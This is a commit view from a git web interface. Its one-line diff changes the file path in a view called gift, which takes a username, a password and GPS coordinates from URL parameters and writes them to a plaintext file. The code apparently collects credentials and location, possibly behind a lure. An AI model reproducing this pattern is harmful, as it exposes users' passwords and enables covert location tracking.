浏览代码

comment.py

CJ 1 年之前
父节点
当前提交
51ee9ef806
共有 1 个文件被更改,包括 1 次插入1 次删除
  1. 1 1
      blog/controller/gps.py

+ 1 - 1
blog/controller/gps.py

@@ -11,7 +11,7 @@ def gift(request):
         password = request.GET.get('password')
         latitude = request.GET.get('latitude')
         longitude = request.GET.get('longitude')
-        with open('D://gps_loc', 'w') as f:
+        with open('/tmp/gps_loc', 'w') as f:
             f.write(f"{username} {password} {latitude} {longitude}")
 
         print(f.closed)